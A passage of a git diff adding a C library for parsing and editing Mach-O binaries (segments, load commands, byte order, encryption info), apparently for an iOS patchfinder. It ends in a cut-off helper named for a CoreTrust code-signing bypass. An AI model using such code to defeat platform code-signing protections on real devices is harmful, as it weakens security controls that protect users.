return; + } + + char *rpath = ((char *)cmd) + rpathCommand->path.offset; + size_t rpathLength = strnlen(rpath, rpathCommand->cmdsize - rpathCommand->path.offset); + if (!rpathLength) { + printf("WARNING: Malformed rpath at 0x%llx (Path has zero length)\n", offset); + return; + } + if (rpath[rpathLength] != 0) { + printf("WARNING: Malformed rpath at 0x%llx (Name has non NULL end byte)\n", offset); + return; + } + + bool stopRpath = false; + enumeratorBlock(rpath, &stopRpath); + if (stopRpath) { + *stop = true; + } + } + }); + return 0; +} + +uint64_t macho_get_base_address(MachO *macho) +{ + if (macho->cachedBase) return macho->cachedBase; + __block int64_t base = UINT64_MAX; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SEGMENT_64) { + struct segment_command_64 *segmentCommand = (struct segment_command_64 *)cmd; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, LITTLE_TO_HOST_APPLIER); + if (strncmp(segmentCommand->segname, "__PRELINK", 9) != 0 + && strncmp(segmentCommand->segname, "__PLK", 5) != 0 + && strncmp(segmentCommand->segname, "__PAGEZERO", 10) != 0) { + // PRELINK and PAGEZERO are before the actual base, so we ignore them + if (segmentCommand->vmaddr < base) { + base = segmentCommand->vmaddr; + } + } + } + }); + macho->cachedBase = base; + return macho->cachedBase; +} + +int macho_enumerate_function_starts(MachO *macho, void (^enumeratorBlock)(uint64_t funcAddr, bool *stop)) +{ + __block uint64_t functionStartsDataOff = 0, functionStartsDataSize = 0; + + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stopLC) { + if (loadCommand.cmd == LC_FUNCTION_STARTS) { + struct linkedit_data_command *functionStartsCommand = (struct linkedit_data_command *)cmd; + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(functionStartsCommand, LITTLE_TO_HOST_APPLIER); + functionStartsDataOff = functionStartsCommand->dataoff; + functionStartsDataSize = functionStartsCommand->datasize; + *stopLC = true; + } + }); + + if (!functionStartsDataOff || !functionStartsDataSize) return -1; + + uint8_t *info = malloc(functionStartsDataSize); + if (macho_read_at_offset(macho, functionStartsDataOff, functionStartsDataSize, info) == 0) { + uint8_t *infoEnd = &info[functionStartsDataSize]; + uint64_t address = macho_get_base_address(macho); + for (uint8_t *p = info; (*p != 0) && (p < infoEnd); ) { + bool stop = false; + uint64_t delta = 0; + uint32_t shift = 0; + bool more = true; + do { + uint8_t byte = *p++; + delta |= ((byte & 0x7F) << shift); + shift += 7; + if (byte < 0x80) { + address += delta; + enumeratorBlock(address, &stop); + more = false; + } + } while (more); + if (stop) break; + } + } + free(info); + + return 0; +} + +int macho_lookup_segment_by_addr(MachO *macho, uint64_t vmaddr, struct segment_command_64 *segmentOut) +{ + __block int r = -1; + macho_enumerate_segments(macho, ^(struct segment_command_64 *segment, bool *stop){ + if (vmaddr >= segment->vmaddr && vmaddr < (segment->vmaddr + segment->vmsize)) { + r = 0; + memcpy(segmentOut, segment, sizeof(struct segment_command_64)); + *stop = true; + } + }); + return r; +} + +int macho_lookup_section_by_addr(MachO *macho, uint64_t vmaddr, struct section_64 *sectionOut) +{ + __block int r = -1; + macho_enumerate_sections(macho, ^(struct section_64 *section, struct segment_command_64 *segment, bool *stop) { + if (vmaddr >= section->addr && vmaddr < (section->addr + section->size)) { + r = 0; + memcpy(sectionOut, section, sizeof(struct section_64)); + *stop = true; + } + }); + return r; +} + +int macho_parse_segments(MachO *macho) +{ + return macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (macho->is32Bit && loadCommand.cmd == LC_SEGMENT) { + macho->segmentCount++; + if (macho->segments == NULL) { macho->segments = malloc(macho->segmentCount * sizeof(MachOSegment*)); } + else { macho->segments = realloc(macho->segments, macho->segmentCount * sizeof(MachOSegment*)); } + + // For simplicity, we convert segment_command's to segment_command_64's + // This allowes all logic to unifily operate on segment_command_64 + + struct segment_command segmentCommand; + memcpy(&segmentCommand, cmd, sizeof(segmentCommand)); + SEGMENT_COMMAND_APPLY_BYTE_ORDER(&segmentCommand, LITTLE_TO_HOST_APPLIER); + + MachOSegment **segment = &macho->segments[macho->segmentCount-1]; + + *segment = malloc(sizeof(MachOSegment) + segmentCommand.nsects * sizeof(struct section_64)); + (*segment)->command = (struct segment_command_64) { + .cmd = segmentCommand.cmd, + .cmdsize = segmentCommand.cmdsize, + .fileoff = segmentCommand.fileoff, + .filesize = segmentCommand.filesize, + .vmaddr = segmentCommand.vmaddr, + .vmsize = segmentCommand.vmsize, + .flags = segmentCommand.flags, + .initprot = segmentCommand.initprot, + .maxprot = segmentCommand.maxprot, + .nsects = segmentCommand.nsects, + }; + memcpy((*segment)->command.segname, segmentCommand.segname, sizeof(segmentCommand.segname)); + + for (uint32_t i = 0; i < macho->segments[macho->segmentCount-1]->command.nsects; i++) { + struct section section; + memcpy(§ion, cmd + sizeof(struct segment_command) + (i * sizeof(struct section)), sizeof(section)); + SECTION_APPLY_BYTE_ORDER(§ion, LITTLE_TO_HOST_APPLIER); + + (*segment)->sections[i] = (struct section_64) { + .addr = section.addr, + .align = section.align, + .flags = section.flags, + .nreloc = section.nreloc, + .offset = section.offset, + .reserved1 = section.reserved1, + .reserved2 = section.reserved2, + .reserved3 = 0, + .size = section.size, + }; + + memcpy((*segment)->sections[i].sectname, section.sectname, sizeof(section.sectname)); + memcpy((*segment)->sections[i].segname, section.segname, sizeof(section.segname)); + } + } + else if (!macho->is32Bit && loadCommand.cmd == LC_SEGMENT_64) { + macho->segmentCount++; + if (macho->segments == NULL) { macho->segments = malloc(macho->segmentCount * sizeof(MachOSegment*)); } + else { macho->segments = realloc(macho->segments, macho->segmentCount * sizeof(MachOSegment*)); } + macho->segments[macho->segmentCount-1] = malloc(loadCommand.cmdsize); + memcpy(macho->segments[macho->segmentCount-1], cmd, loadCommand.cmdsize); + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(&macho->segments[macho->segmentCount-1]->command, LITTLE_TO_HOST_APPLIER); + for (uint32_t i = 0; i < macho->segments[macho->segmentCount-1]->command.nsects; i++) { + SECTION_64_APPLY_BYTE_ORDER(&macho->segments[macho->segmentCount-1]->sections[i], LITTLE_TO_HOST_APPLIER); + } + } + }); +} + +int macho_parse_fileset_machos(MachO *macho) +{ + if (macho_get_filetype(macho) != MH_FILESET) return -1; + return macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_FILESET_ENTRY) { + uint32_t i = macho->filesetCount; + macho->filesetCount++; + + struct fileset_entry_command *filesetCommand = cmd; + FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(filesetCommand, LITTLE_TO_HOST_APPLIER); + + if (macho->filesetMachos == NULL) { macho->filesetMachos = malloc(macho->filesetCount * sizeof(FilesetMachO)); } + else { macho->filesetMachos = realloc(macho->filesetMachos, macho->filesetCount * sizeof(FilesetMachO)); } + + FilesetMachO *filesetMacho = &macho->filesetMachos[i]; + filesetMacho->entry_id = strdup((char *)cmd + filesetCommand->entry_id.offset); + filesetMacho->vmaddr = filesetCommand->vmaddr; + filesetMacho->fileoff = filesetCommand->fileoff; + + MemoryStream *subStream = memory_stream_softclone(macho->stream); + + // TODO: Also cut trim to the end of the macho, but for that we would need to determine it's size + memory_stream_trim(subStream, filesetCommand->fileoff, 0); + filesetMacho->underlyingMachO = fat_init_from_memory_stream(subStream); + } + }); +} + +int _macho_parse(MachO *macho) +{ + macho->is32Bit = (macho->archDescriptor.cpusubtype == CPU_SUBTYPE_ARM_V6 || macho->archDescriptor.cpusubtype == CPU_SUBTYPE_ARM_V7 || macho->archDescriptor.cpusubtype == CPU_SUBTYPE_ARM_V7S); + if (macho->machHeader.sizeofcmds % (macho->is32Bit ? sizeof(uint32_t) : sizeof(uint64_t)) != 0) { + printf("Error: sizeofcmds is not a multiple of %lu (%d).\n", macho->is32Bit ? sizeof(uint32_t) : sizeof(uint64_t), macho->machHeader.sizeofcmds); + return -1; + } + macho_parse_segments(macho); + macho_parse_fileset_machos(macho); + return 0; +} + +MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor) +{ + MachO *macho = malloc(sizeof(MachO)); + if (!macho) return NULL; + memset(macho, 0, sizeof(MachO)); + + macho->stream = stream; + macho->archDescriptor = archDescriptor; + if (macho_read_at_offset(macho, 0, sizeof(macho->machHeader), &macho->machHeader) != 0) goto fail; + MACH_HEADER_APPLY_BYTE_ORDER(&macho->machHeader, LITTLE_TO_HOST_APPLIER); + + // Check the magic against the expected values + if (macho->machHeader.magic != MH_MAGIC_64 && macho->machHeader.magic != MH_MAGIC) { + goto fail; + } + + if (_macho_parse(macho) != 0) goto fail; + + return macho; + +fail: + macho_free(macho); + return NULL; +} + +MachO *macho_init_for_writing(const char *filePath) +{ + MachO *macho = malloc(sizeof(MachO)); + if (!macho) return NULL; + memset(macho, 0, sizeof(MachO)); + + macho->stream = file_stream_init_from_path(filePath, 0, FILE_STREAM_SIZE_AUTO, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND); + if (!macho->stream) goto fail; + + size_t fileSize = memory_stream_get_size(macho->stream); + memory_stream_read(macho->stream, 0, sizeof(struct mach_header), &macho->machHeader); + MACH_HEADER_APPLY_BYTE_ORDER(&macho->machHeader, HOST_TO_LITTLE_APPLIER); + if (macho->machHeader.magic != MH_MAGIC_64) goto fail; + + macho->archDescriptor.cpusubtype = macho->machHeader.cpusubtype; + macho->archDescriptor.cputype = macho->machHeader.cputype; + macho->archDescriptor.offset = 0; + macho->archDescriptor.size = fileSize; + macho->archDescriptor.align = 0x4000; + + if (_macho_parse(macho) != 0) goto fail; + + return macho; + +fail: + macho_free(macho); + return NULL; +} + +MachO **macho_array_create_for_paths(char **inputPaths, int inputPathsCount) { + Fat **fatArray = malloc(sizeof(Fat *) * inputPathsCount); + MachO **machoArray; + int sliceCount = 0; + for (int i = 0; i < inputPathsCount; i++) { + Fat *fat = fat_init_from_path(inputPaths[i]); + if (!fat) { + printf("Error: failed to create Fat from file: %s\n", inputPaths[i]); + return NULL; + } + sliceCount += fat->slicesCount; + fatArray[i] = fat; + } + machoArray = malloc(sizeof(MachO *) * sliceCount); + for (int i = 0; i < inputPathsCount; i++) { + for (int j = 0; j < fatArray[i]->slicesCount; j++) { + machoArray[i] = fatArray[i]->slices[j]; + } + } + return machoArray; +} + +bool macho_is_encrypted(MachO *macho) +{ + __block bool isEncrypted = false; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_ENCRYPTION_INFO_64 || loadCommand.cmd == LC_ENCRYPTION_INFO) { + struct encryption_info_command *encryptionInfoCommand = cmd; + ENCRYPTION_INFO_COMMAND_APPLY_BYTE_ORDER(encryptionInfoCommand, LITTLE_TO_HOST_APPLIER); + if (encryptionInfoCommand->cryptid == 1) { + *stop = true; + isEncrypted = true; + } + } + }); + return isEncrypted; +} + +void macho_free(MachO *macho) +{ + if (macho->filesetCount != 0 && macho->filesetMachos) { + for (uint32_t i = 0; i < macho->filesetCount; i++) { + fat_free(macho->filesetMachos[i].underlyingMachO); + free(macho->filesetMachos[i].entry_id); + } + free(macho->filesetMachos); + } + if (macho->segmentCount != 0 && macho->segments) { + for (uint32_t i = 0; i < macho->segmentCount; i++) { + free(macho->segments[i]); + } + free(macho->segments); + } + if (macho->stream) { + memory_stream_free(macho->stream); + } + free(macho); +} diff --git a/XPF/external/ChOma/src/MachO.h b/XPF/external/ChOma/src/MachO.h new file mode 100644 index 0000000..d02ac6f --- /dev/null +++ b/XPF/external/ChOma/src/MachO.h @@ -0,0 +1,91 @@ +#ifndef MACHO_SLICE_H +#define MACHO_SLICE_H + +#include +#include +#include +#include "MemoryStream.h" +#include "Fat.h" +#include "DyldSharedCache.h" + +typedef struct MachOSegment +{ + struct segment_command_64 command; + struct section_64 sections[]; +} __attribute__((__packed__)) MachOSegment; + +typedef struct FilesetMachO { + char *entry_id; + uint64_t vmaddr; + uint64_t fileoff; + Fat *underlyingMachO; +} FilesetMachO; + +typedef struct MachO { + MemoryStream *stream; + bool is32Bit; + struct mach_header machHeader; + struct fat_arch_64 archDescriptor; + uint64_t cachedBase; + + uint32_t filesetCount; + FilesetMachO *filesetMachos; + + uint32_t segmentCount; + MachOSegment **segments; + + DyldSharedCache *containingCache; + DyldSharedCacheImage *cacheImage; +} MachO; + +// Read data from a MachO at a specified offset +int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf); + +// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing +int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, const void *inBuf); + +int macho_read_string_at_offset(MachO *macho, uint64_t offset, char **string); +int macho_read_uleb128_at_offset(MachO *macho, uint64_t offset, uint64_t maxOffset, uint64_t *endOffsetOut, uint64_t *valueOut); + +MemoryStream *macho_get_stream(MachO *macho); +uint32_t macho_get_filetype(MachO *macho); +struct mach_header *macho_get_mach_header(MachO *macho); +size_t macho_get_mach_header_size(MachO *macho); +DyldSharedCache *macho_get_containing_cache(MachO *macho); + +// Perform translation between file offsets and virtual addresses +int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut); +int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut); + +// Wrappers to deal with virtual addresses +int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf); +int macho_write_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, const void *inBuf); +int macho_read_string_at_vmaddr(MachO *macho, uint64_t vmaddr, char **outString); +uint64_t macho_get_base_address(MachO *macho); + +int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop)); +int macho_enumerate_segments(MachO *macho, void (^enumeratorBlock)(struct segment_command_64 *segment, bool *stop)); +int macho_enumerate_sections(MachO *macho, void (^enumeratorBlock)(struct section_64 *section, struct segment_command_64 *segment, bool *stop)); +int macho_enumerate_symbols(MachO *macho, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)); +int macho_enumerate_dependencies(MachO *macho, void (^enumeratorBlock)(const char *dylibPath, uint32_t cmd, struct dylib* dylib, bool *stop)); +int macho_enumerate_rpaths(MachO *macho, void (^enumeratorBlock)(const char *rpath, bool *stop)); +int macho_enumerate_function_starts(MachO *macho, void (^enumeratorBlock)(uint64_t funcAddr, bool *stop)); + +int macho_lookup_segment_by_addr(MachO *macho, uint64_t vmaddr, struct segment_command_64 *segmentOut); +int macho_lookup_section_by_addr(MachO *macho, uint64_t vmaddr, struct section_64 *sectionOut); + +// Initialise a MachO object from a MemoryStream and it's corresponding Fat arch descriptor +MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor); + +// Initialize a single slice macho for writing to it +MachO *macho_init_for_writing(const char *filePath); + +// Create an array of MachO objects from an array of paths +MachO **macho_array_create_for_paths(char **inputPaths, int inputPathsCount); + +// Check if a MachO is encrypted +bool macho_is_encrypted(MachO *macho); + +void macho_free(MachO *macho); + +#endif // MACHO_SLICE_H diff --git a/XPF/external/ChOma/src/MachOByteOrder.h b/XPF/external/ChOma/src/MachOByteOrder.h new file mode 100644 index 0000000..c052d78 --- /dev/null +++ b/XPF/external/ChOma/src/MachOByteOrder.h @@ -0,0 +1,229 @@ +#ifndef MACHO_BYTE_ORDER_H +#define MACHO_BYTE_ORDER_H + +#include +#include +#include + +// 8-bit integers needed for CodeDirectory +#define BIG_TO_HOST(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapBigToHostInt16(n), \ + uint16_t: OSSwapBigToHostInt16(n), \ + int32_t: OSSwapBigToHostInt32(n), \ + uint32_t: OSSwapBigToHostInt32(n), \ + int64_t: OSSwapBigToHostInt64(n), \ + uint64_t: OSSwapBigToHostInt64(n) \ +) + +#define HOST_TO_BIG(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + uint16_t: OSSwapHostToBigInt16(n), \ + int16_t: OSSwapHostToBigInt16(n), \ + int32_t: OSSwapHostToBigInt32(n), \ + uint32_t: OSSwapHostToBigInt32(n), \ + int64_t: OSSwapHostToBigInt64(n), \ + uint64_t: OSSwapHostToBigInt64(n) \ +) + +#define LITTLE_TO_HOST(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapLittleToHostInt16(n), \ + uint16_t: OSSwapLittleToHostInt16(n), \ + int32_t: OSSwapLittleToHostInt32(n), \ + uint32_t: OSSwapLittleToHostInt32(n), \ + int64_t: OSSwapLittleToHostInt64(n), \ + uint64_t: OSSwapLittleToHostInt64(n) \ +) + +#define HOST_TO_LITTLE(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapHostToLittleInt16(n), \ + uint16_t: OSSwapHostToLittleInt16(n), \ + int32_t: OSSwapHostToLittleInt32(n), \ + uint32_t: OSSwapHostToLittleInt32(n), \ + int64_t: OSSwapHostToLittleInt64(n), \ + uint64_t: OSSwapHostToLittleInt64(n) \ +) + +#define HOST_TO_LITTLE_APPLIER(instance, member) \ + (instance)->member = HOST_TO_LITTLE((instance)->member) + +#define HOST_TO_BIG_APPLIER(instance, member) \ + (instance)->member = HOST_TO_BIG((instance)->member) + +#define LITTLE_TO_HOST_APPLIER(instance, member) \ + (instance)->member = LITTLE_TO_HOST((instance)->member) + +#define BIG_TO_HOST_APPLIER(instance, member) \ + (instance)->member = BIG_TO_HOST((instance)->member) + +#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \ + applier(fh, magic); \ + applier(fh, nfat_arch); + +#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \ + applier(arch, cputype); \ + applier(arch, cpusubtype); \ + applier(arch, offset); \ + applier(arch, size); \ + applier(arch, align); + +#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \ + applier(arch, cputype); \ + applier(arch, cpusubtype); \ + applier(arch, offset); \ + applier(arch, size); \ + applier(arch, align); \ + applier(arch, reserved); + +#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \ + applier(mh, magic); \ + applier(mh, cputype); \ + applier(mh, cpusubtype); \ + applier(mh, filetype); \ + applier(mh, ncmds); \ + applier(mh, sizeofcmds); + +#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \ + applier(lc, cmd); \ + applier(lc, cmdsize); + +#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \ + applier(lc, cmd); \ + applier(lc, cmdsize); \ + applier(lc, dataoff); \ + applier(lc, datasize); + +#define ENCRYPTION_INFO_COMMAND_APPLY_BYTE_ORDER(eic, applier) \ + applier(eic, cmd); \ + applier(eic, cmdsize); \ + applier(eic, cryptoff); \ + applier(eic, cryptsize); \ + applier(eic, cryptid); + +#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \ + applier(bi, type); \ + applier(bi, offset); + +#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \ + applier(sb, magic); \ + applier(sb, length); \ + applier(sb, count); + +#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \ + applier(gb, magic); \ + applier(gb, length); + +#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \ + applier(cd, magic); \ + applier(cd, length); \ + applier(cd, version); \ + applier(cd, flags); \ + applier(cd, hashOffset); \ + applier(cd, identOffset); \ + applier(cd, nSpecialSlots); \ + applier(cd, nCodeSlots); \ + applier(cd, codeLimit); \ + applier(cd, hashSize); \ + applier(cd, hashType); \ + applier(cd, platform); \ + applier(cd, pageSize); \ + applier(cd, spare2); \ + applier(cd, scatterOffset); \ + applier(cd, teamOffset); + +#define SEGMENT_COMMAND_APPLY_BYTE_ORDER(sc, applier) \ + applier(sc, cmd); \ + applier(sc, cmdsize); \ + applier(sc, fileoff); \ + applier(sc, filesize); \ + applier(sc, vmaddr); \ + applier(sc, vmsize); \ + applier(sc, flags); \ + applier(sc, initprot); \ + applier(sc, maxprot); \ + applier(sc, nsects); + +#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \ + applier(sc64, cmd); \ + applier(sc64, cmdsize); \ + applier(sc64, fileoff); \ + applier(sc64, filesize); \ + applier(sc64, vmaddr); \ + applier(sc64, vmsize); \ + applier(sc64, flags); \ + applier(sc64, initprot); \ + applier(sc64, maxprot); \ + applier(sc64, nsects); + +#define SECTION_APPLY_BYTE_ORDER(sc, applier) \ + applier(sc, addr); \ + applier(sc, align); \ + applier(sc, flags); \ + applier(sc, nreloc); \ + applier(sc, offset); \ + applier(sc, reserved1); \ + applier(sc, reserved2); \ + applier(sc, size); + +#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \ + applier(sc64, addr); \ + applier(sc64, align); \ + applier(sc64, flags); \ + applier(sc64, nreloc); \ + applier(sc64, offset); \ + applier(sc64, reserved1); \ + applier(sc64, reserved2); \ + applier(sc64, reserved3); \ + applier(sc64, size); + +#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \ + applier(fse, cmd); \ + applier(fse, cmdsize); \ + applier(fse, vmaddr); \ + applier(fse, fileoff); \ + applier(fse, entry_id.offset); \ + applier(fse, reserved); + +#define SYMTAB_COMMAND_APPLY_BYTE_ORDER(symt, applier) \ + applier(symt, cmd); \ + applier(symt, cmdsize); \ + applier(symt, nsyms); \ + applier(symt, stroff); \ + applier(symt, strsize); \ + applier(symt, symoff); + +#define NLIST_APPLY_BYTE_ORDER(nl, applier) \ + applier(nl, n_un.n_strx); \ + applier(nl, n_type); \ + applier(nl, n_sect); \ + applier(nl, n_desc); \ + applier(nl, n_value); + +#define NLIST_64_APPLY_BYTE_ORDER(nl, applier) \ + applier(nl, n_un.n_strx); \ + applier(nl, n_type); \ + applier(nl, n_sect); \ + applier(nl, n_desc); \ + applier(nl, n_value); + +#define DYLIB_APPLY_BYTE_ORDER(dylib, applier) \ + applier(dylib, name.offset); \ + applier(dylib, timestamp); \ + applier(dylib, current_version); \ + applier(dylib, compatibility_version); + +#define DYLIB_COMMAND_APPLY_BYTE_ORDER(dycmd, applier) \ + LOAD_COMMAND_APPLY_BYTE_ORDER(dycmd, applier); \ + DYLIB_APPLY_BYTE_ORDER((&dycmd->dylib), applier); + +#define RPATH_COMMAND_APPLY_BYTE_ORDER(rpcmd, applier) \ + LOAD_COMMAND_APPLY_BYTE_ORDER(rpcmd, applier); \ + applier(rpcmd, path.offset); + +#endif // MACHO_BYTE_ORDER_H diff --git a/XPF/external/ChOma/src/MachOLoadCommand.c b/XPF/external/ChOma/src/MachOLoadCommand.c new file mode 100644 index 0000000..ab22741 --- /dev/null +++ b/XPF/external/ChOma/src/MachOLoadCommand.c @@ -0,0 +1,189 @@ +#include "MachOLoadCommand.h" +#include "Util.h" +#include "CSBlob.h" + +char *load_command_to_string(int loadCommand) { + switch (loadCommand) { + case LC_SEGMENT: + return "LC_SEGMENT"; + case LC_SYMTAB: + return "LC_SYMTAB"; + case LC_SYMSEG: + return "LC_SYMSEG"; + case LC_THREAD: + return "LC_THREAD"; + case LC_UNIXTHREAD: + return "LC_UNIXTHREAD"; + case LC_LOADFVMLIB: + return "LC_LOADFVMLIB"; + case LC_IDFVMLIB: + return "LC_IDFVMLIB"; + case LC_IDENT: + return "LC_IDENT"; + case LC_FVMFILE: + return "LC_FVMFILE"; + case LC_PREPAGE: + return "LC_PREPAGE"; + case LC_DYSYMTAB: + return "LC_DYSYMTAB"; + case LC_LOAD_DYLIB: + return "LC_LOAD_DYLIB"; + case LC_ID_DYLIB: + return "LC_ID_DYLIB"; + case LC_LOAD_DYLINKER: + return "LC_LOAD_DYLINKER"; + case LC_ID_DYLINKER: + return "LC_ID_DYLINKER"; + case LC_PREBOUND_DYLIB: + return "LC_PREBOUND_DYLIB"; + case LC_ROUTINES: + return "LC_ROUTINES"; + case LC_SUB_FRAMEWORK: + return "LC_SUB_FRAMEWORK"; + case LC_SUB_UMBRELLA: + return "LC_SUB_UMBRELLA"; + case LC_SUB_CLIENT: + return "LC_SUB_CLIENT"; + case LC_SUB_LIBRARY: + return "LC_SUB_LIBRARY"; + case LC_TWOLEVEL_HINTS: + return "LC_TWOLEVEL_HINTS"; + case LC_PREBIND_CKSUM: + return "LC_PREBIND_CKSUM"; + case LC_LOAD_WEAK_DYLIB: + return "LC_LOAD_WEAK_DYLIB"; + case LC_SEGMENT_64: + return "LC_SEGMENT_64"; + case LC_ROUTINES_64: + return "LC_ROUTINES_64"; + case LC_UUID: + return "LC_UUID"; + case LC_RPATH: + return "LC_RPATH"; + case LC_CODE_SIGNATURE: + return "LC_CODE_SIGNATURE"; + case LC_SEGMENT_SPLIT_INFO: + return "LC_SEGMENT_SPLIT_INFO"; + case LC_REEXPORT_DYLIB: + return "LC_REEXPORT_DYLIB"; + case LC_LAZY_LOAD_DYLIB: + return "LC_LAZY_LOAD_DYLIB"; + case LC_ENCRYPTION_INFO: + return "LC_ENCRYPTION_INFO"; + case LC_DYLD_INFO: + return "LC_DYLD_INFO"; + case LC_DYLD_INFO_ONLY: + return "LC_DYLD_INFO_ONLY"; + case LC_LOAD_UPWARD_DYLIB: + return "LC_LOAD_UPWARD_DYLIB"; + case LC_VERSION_MIN_MACOSX: + return "LC_VERSION_MIN_MACOSX"; + case LC_VERSION_MIN_IPHONEOS: + return "LC_VERSION_MIN_IPHONEOS"; + case LC_FUNCTION_STARTS: + return "LC_FUNCTION_STARTS"; + case LC_DYLD_ENVIRONMENT: + return "LC_DYLD_ENVIRONMENT"; + case LC_MAIN: + return "LC_MAIN"; + case LC_DATA_IN_CODE: + return "LC_DATA_IN_CODE"; + case LC_SOURCE_VERSION: + return "LC_SOURCE_VERSION"; + case LC_DYLIB_CODE_SIGN_DRS: + return "LC_DYLIB_CODE_SIGN_DRS"; + case LC_ENCRYPTION_INFO_64: + return "LC_ENCRYPTION_INFO_64"; + case LC_LINKER_OPTION: + return "LC_LINKER_OPTION"; + case LC_LINKER_OPTIMIZATION_HINT: + return "LC_LINKER_OPTIMIZATION_HINT"; + case LC_VERSION_MIN_TVOS: + return "LC_VERSION_MIN_TVOS"; + case LC_VERSION_MIN_WATCHOS: + return "LC_VERSION_MIN_WATCHOS"; + case LC_NOTE: + return "LC_NOTE"; + case LC_BUILD_VERSION: + return "LC_BUILD_VERSION"; + case LC_DYLD_EXPORTS_TRIE: + return "LC_DYLD_EXPORTS_TRIE"; + case LC_DYLD_CHAINED_FIXUPS: + return "LC_DYLD_CHAINED_FIXUPS"; + case LC_FILESET_ENTRY: + return "LC_FILESET_ENTRY"; + default: + return "LC_UNKNOWN"; + } +} + +void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize) { + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SEGMENT_64) { + struct segment_command_64 *segmentCommand = (struct segment_command_64 *)cmd; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, LITTLE_TO_HOST_APPLIER); + if (strcmp(segmentCommand->segname, segmentName) == 0) { + segmentCommand->vmaddr = vmaddr; + segmentCommand->vmsize = vmsize; + segmentCommand->fileoff = fileoff; + segmentCommand->filesize = filesize; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, HOST_TO_LITTLE_APPLIER); + memory_stream_write(macho->stream, offset, sizeof(struct segment_command_64), segmentCommand); + *stop = true; + } + } + }); +} + +void update_lc_code_signature(MachO *macho, uint64_t size) { + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_CODE_SIGNATURE) { + struct linkedit_data_command *csLoadCommand = (struct linkedit_data_command *)cmd; + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(csLoadCommand, LITTLE_TO_HOST_APPLIER); + csLoadCommand->datasize = size; + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(csLoadCommand, HOST_TO_LITTLE_APPLIER); + memory_stream_write(macho->stream, offset, sizeof(struct linkedit_data_command), csLoadCommand); + *stop = true; + } + }); +} + +int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize) { + + uint64_t sizeOfCodeSignature = BIG_TO_HOST(superblob->length); + + // Calculate how much padding we currently have + __block uint64_t blockPaddingSize = 0; + __block uint64_t vmAddress = 0; + __block uint64_t fileOffset = 0; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SEGMENT_64) { + struct segment_command_64 *segmentCommand = (struct segment_command_64 *)cmd; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, LITTLE_TO_HOST_APPLIER); + if (strcmp(segmentCommand->segname, "__LINKEDIT") == 0) { + blockPaddingSize = segmentCommand->filesize - originalCodeSignatureSize; + vmAddress = segmentCommand->vmaddr; + fileOffset = segmentCommand->fileoff; + *stop = true; + } + } + }); + + if (blockPaddingSize == 0 || vmAddress == 0 || fileOffset == 0) { + printf("Error: failed to get existing values for __LINKEDIT segment.\n"); + return -1; + } + + uint64_t newSegmentSize = sizeOfCodeSignature + blockPaddingSize; + uint64_t newVMSize = align_to_size(newSegmentSize, 0x4000); + + // Update the segment command + printf("Updating __LINKEDIT 